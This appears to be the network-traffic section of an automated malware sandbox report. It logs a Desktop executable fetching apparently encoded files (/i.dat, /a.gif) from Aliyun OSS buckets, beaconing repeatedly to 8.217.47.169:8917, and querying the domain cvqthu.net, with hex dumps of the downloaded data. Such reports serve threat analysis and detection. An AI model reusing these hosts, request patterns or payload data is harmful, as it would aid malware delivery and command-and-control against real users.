Jan 5, 2025 10:12:47.332468033 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.439466000 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.439713955 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.442382097 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.442462921 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.444483995 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.444555998 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.448354959 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.448437929 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.450479984 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.450778961 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.452594995 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.452662945 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.456510067 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.456587076 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.458569050 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.458632946 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.462402105 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.462477922 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.464370012 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.464430094 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.464438915 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.464487076 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.465414047 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.465432882 CET	443	62786	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:47.465452909 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:47.465502024 CET	62786	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:53.168493986 CET	62788	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:53.173512936 CET	8917	62788	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:53.173911095 CET	62788	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:54.154885054 CET	62788	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:54.159688950 CET	8917	62788	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:55.250528097 CET	8917	62788	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:55.250679016 CET	62788	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:55.250792027 CET	62788	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:55.949877024 CET	62789	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:55.954884052 CET	8917	62789	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:55.955174923 CET	62789	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:56.382472038 CET	62789	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:56.387350082 CET	8917	62789	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:58.043895960 CET	8917	62789	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:58.043968916 CET	62789	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:58.044064999 CET	62789	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:58.773554087 CET	62790	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:58.778424978 CET	8917	62790	8.217.47.169	192.168.2.6
Jan 5, 2025 10:12:58.779582024 CET	62790	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:59.159231901 CET	62790	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:12:59.164045095 CET	8917	62790	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:00.878791094 CET	8917	62790	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:00.879678011 CET	62790	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:00.883527994 CET	62790	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:01.538414001 CET	62791	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:01.543256044 CET	8917	62791	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:01.543600082 CET	62791	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:01.913592100 CET	62791	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:01.918467999 CET	8917	62791	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:03.603671074 CET	8917	62791	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:03.603842020 CET	62791	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:03.603916883 CET	62791	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:04.366511106 CET	62792	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:04.371372938 CET	8917	62792	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:04.371505976 CET	62792	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:04.737833023 CET	62792	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:04.742661953 CET	8917	62792	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:06.426779032 CET	8917	62792	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:06.426856041 CET	62792	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:06.426945925 CET	62792	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:07.136288881 CET	62793	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:07.141273022 CET	8917	62793	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:07.141403913 CET	62793	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:07.549952030 CET	62793	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:07.558180094 CET	8917	62793	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:09.215369940 CET	8917	62793	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:09.215452909 CET	62793	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:09.215558052 CET	62793	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:09.929563046 CET	62794	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:09.934515953 CET	8917	62794	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:09.934653044 CET	62794	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:10.327156067 CET	62794	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:10.356261969 CET	8917	62794	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:11.991292953 CET	8917	62794	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:11.991435051 CET	62794	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:11.991529942 CET	62794	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:12.710227966 CET	62795	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:12.715111971 CET	8917	62795	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:12.715219975 CET	62795	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:13.218405962 CET	62795	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:13.223253965 CET	8917	62795	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:14.770380020 CET	8917	62795	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:14.770477057 CET	62795	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:14.770605087 CET	62795	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:15.600898981 CET	62796	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:15.605742931 CET	8917	62796	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:15.605849981 CET	62796	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:16.082102060 CET	62796	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:16.087007046 CET	8917	62796	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:17.659513950 CET	8917	62796	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:17.659580946 CET	62796	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:17.659677029 CET	62796	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:18.460390091 CET	62797	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:18.465373993 CET	8917	62797	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:18.465837002 CET	62797	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:18.989525080 CET	62797	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:18.994410038 CET	8917	62797	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:20.519083977 CET	8917	62797	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:20.519150972 CET	62797	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:20.519227028 CET	62797	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:21.366345882 CET	62798	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:21.371328115 CET	8917	62798	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:21.371454000 CET	62798	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:22.042447090 CET	62798	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:22.047386885 CET	8917	62798	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:23.409859896 CET	8917	62798	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:23.409998894 CET	62798	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:23.410171986 CET	62798	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:24.428858042 CET	62799	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:24.433830976 CET	8917	62799	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:24.433960915 CET	62799	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:24.740665913 CET	62799	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:24.745604992 CET	8917	62799	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:26.491372108 CET	8917	62799	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:26.491624117 CET	62799	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:26.491625071 CET	62799	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:27.116605043 CET	62800	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:27.121519089 CET	8917	62800	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:27.121601105 CET	62800	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:27.317159891 CET	62800	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:27.324004889 CET	8917	62800	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:29.198302031 CET	8917	62800	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:29.198379993 CET	62800	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:29.198482037 CET	62800	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:29.710515022 CET	62801	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:29.715507984 CET	8917	62801	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:29.715666056 CET	62801	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:29.939572096 CET	62801	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:29.944462061 CET	8917	62801	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:31.796329021 CET	8917	62801	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:31.796607018 CET	62801	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:31.796749115 CET	62801	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:32.320012093 CET	62802	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:32.325000048 CET	8917	62802	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:32.325154066 CET	62802	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:32.516525984 CET	62802	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:32.521496058 CET	8917	62802	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:34.437649012 CET	8917	62802	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:34.437791109 CET	62802	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:34.437896967 CET	62802	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:34.944503069 CET	62803	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:34.949644089 CET	8917	62803	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:34.949723005 CET	62803	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:35.141974926 CET	62803	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:35.146820068 CET	8917	62803	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:37.007848024 CET	8917	62803	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:37.007965088 CET	62803	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:37.008069992 CET	62803	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:37.522749901 CET	62804	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:37.527735949 CET	8917	62804	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:37.527832985 CET	62804	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:37.750677109 CET	62804	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:37.755518913 CET	8917	62804	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:39.627378941 CET	8917	62804	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:39.627523899 CET	62804	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:39.627753973 CET	62804	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:40.132335901 CET	62805	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:40.137275934 CET	8917	62805	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:40.137377024 CET	62805	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:40.322566032 CET	62805	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:40.327446938 CET	8917	62805	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:42.218607903 CET	8917	62805	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:42.218677998 CET	62805	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:42.218811035 CET	62805	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:42.725975990 CET	62806	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:42.730951071 CET	8917	62806	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:42.731069088 CET	62806	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:42.987551928 CET	62806	8917	192.168.2.6	8.217.47.169
Jan 5, 2025 10:13:42.992537975 CET	8917	62806	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:44.792596102 CET	8917	62806	8.217.47.169	192.168.2.6
Jan 5, 2025 10:13:44.792665958 CET	62806	8917	192.168.2.6	8.217.47.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 10:11:06.450802088 CET	53	50162	162.159.36.2	192.168.2.6
Jan 5, 2025 10:11:06.915935040 CET	50311	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:11:06.923161983 CET	53	50311	1.1.1.1	192.168.2.6
Jan 5, 2025 10:11:19.339256048 CET	54308	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:11:19.992727041 CET	53	54308	1.1.1.1	192.168.2.6
Jan 5, 2025 10:12:14.117712975 CET	59666	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:12:14.797923088 CET	53	59666	1.1.1.1	192.168.2.6
Jan 5, 2025 10:12:52.246855021 CET	54263	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:12:52.256486893 CET	53	54263	1.1.1.1	192.168.2.6
Jan 5, 2025 10:12:58.288768053 CET	58895	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:12:58.346003056 CET	53	58895	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:04.366784096 CET	55686	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:04.397310019 CET	53	55686	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:10.429404020 CET	50755	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:10.459749937 CET	53	50755	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:16.491738081 CET	54362	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:16.501750946 CET	53	54362	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:22.523117065 CET	64008	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:22.533145905 CET	53	64008	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:28.554100990 CET	50561	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:28.563180923 CET	53	50561	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:34.585477114 CET	61797	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:34.592746019 CET	53	61797	1.1.1.1	192.168.2.6
Jan 5, 2025 10:13:40.619319916 CET	63876	53	192.168.2.6	1.1.1.1
Jan 5, 2025 10:13:40.628900051 CET	53	63876	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 10:11:06.915935040 CET	192.168.2.6	1.1.1.1	0x5968	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 5, 2025 10:11:19.339256048 CET	192.168.2.6	1.1.1.1	0xa740	Standard query (0)	msd1sq.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:14.117712975 CET	192.168.2.6	1.1.1.1	0xb4dc	Standard query (0)	22mm.oss-cn-hangzhou.aliyuncs.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:52.246855021 CET	192.168.2.6	1.1.1.1	0x51b0	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:58.288768053 CET	192.168.2.6	1.1.1.1	0x63cc	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:04.366784096 CET	192.168.2.6	1.1.1.1	0xd285	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:10.429404020 CET	192.168.2.6	1.1.1.1	0xe10	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:16.491738081 CET	192.168.2.6	1.1.1.1	0x6b61	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:22.523117065 CET	192.168.2.6	1.1.1.1	0x3ca9	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:28.554100990 CET	192.168.2.6	1.1.1.1	0xc4c3	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:34.585477114 CET	192.168.2.6	1.1.1.1	0xa69a	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:40.619319916 CET	192.168.2.6	1.1.1.1	0x4f34	Standard query (0)	cvqthu.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 10:11:06.923161983 CET	1.1.1.1	192.168.2.6	0x5968	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 5, 2025 10:11:19.992727041 CET	1.1.1.1	192.168.2.6	0xa740	No error (0)	msd1sq.oss-cn-beijing.aliyuncs.com	sc-257a.cn-beijing.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:11:19.992727041 CET	1.1.1.1	192.168.2.6	0xa740	No error (0)	sc-257a.cn-beijing.oss-adns.aliyuncs.com	sc-257a.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:11:19.992727041 CET	1.1.1.1	192.168.2.6	0xa740	No error (0)	sc-257a.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		39.103.20.34	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:14.797923088 CET	1.1.1.1	192.168.2.6	0xb4dc	No error (0)	22mm.oss-cn-hangzhou.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:12:14.797923088 CET	1.1.1.1	192.168.2.6	0xb4dc	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:12:14.797923088 CET	1.1.1.1	192.168.2.6	0xb4dc	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		118.178.60.9	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:52.256486893 CET	1.1.1.1	192.168.2.6	0x51b0	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:12:58.346003056 CET	1.1.1.1	192.168.2.6	0x63cc	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:04.397310019 CET	1.1.1.1	192.168.2.6	0xd285	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:10.459749937 CET	1.1.1.1	192.168.2.6	0xe10	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:16.501750946 CET	1.1.1.1	192.168.2.6	0x6b61	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:22.533145905 CET	1.1.1.1	192.168.2.6	0x3ca9	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:28.563180923 CET	1.1.1.1	192.168.2.6	0xc4c3	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:34.592746019 CET	1.1.1.1	192.168.2.6	0xa69a	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:13:40.628900051 CET	1.1.1.1	192.168.2.6	0x4f34	Name error (3)	cvqthu.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

msd1sq.oss-cn-beijing.aliyuncs.com

22mm.oss-cn-hangzhou.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	62735	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:21 UTC	111	OUT	GET /i.dat HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:21 UTC	557	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:21 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 677A4CB999F00D3935655483 Accept-Ranges: bytes ETag: "7E4165B1411CF0914B7DB88CBD5C6A68" Last-Modified: Sat, 04 Jan 2025 09:23:34 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 6704561915333262350 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: fkFlsUEc8JFLfbiMvVxqaA== x-oss-server-time: 3
2025-01-05 09:11:21 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 5d 43 54 01 72 70 2f 6e 1d 1d 43 0d 63 20 6f 68 01 02 01 06 61 28 67 6a 03 13 1f 04 67 77 2a 67 08 0a 48 06 28 61 6f 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 08 14 14 10 63 2a 3f 3f 52 4c 5b 0e 7d 7f 20 61 12 12 4c 02 6c 2f 60 67 0e 0d 0e 09 6e 27 68 65 0c 1c 10 0b 68 78 25 68 07 05 47 0a 24 6d 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 04 18 18 1c 6f 26 33 33 5e 40 57 02 71 73 2c 6d 1e 1e 40 0e 60 23 6c 6b 02 01 02 05 62 2b 64 69 00 10 1c 07 64 74 29 64 0b 09 4b 07 29 60 6e 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 09 15 15 11 62 2b 3e 3e 53 4d 5a 0f 7c 7e 21 Data Ascii: l%00]CTrp/nCc oha(gjgwgH(ao`````````````````````````````````c??RL[} aLl/`gn'hehx%hG$mclllllllllllllllllllllllllllllllllo&33^@Wqs,m@`#lkb+didt)dK)`naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab+>>SMZ\|~!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	62749	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:23 UTC	111	OUT	GET /a.gif HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:23 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:23 GMT Content-Type: image/gif Content-Length: 135589 Connection: close x-oss-request-id: 677A4CBBE48B2B31372090B9 Accept-Ranges: bytes ETag: "0DDD3F02B74B01D739C45956D8FD12B7" Last-Modified: Sat, 04 Jan 2025 09:22:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8642451798640735006 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Dd0/ArdLAdc5xFlW2P0Stw== x-oss-server-time: 2
2025-01-05 09:11:23 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
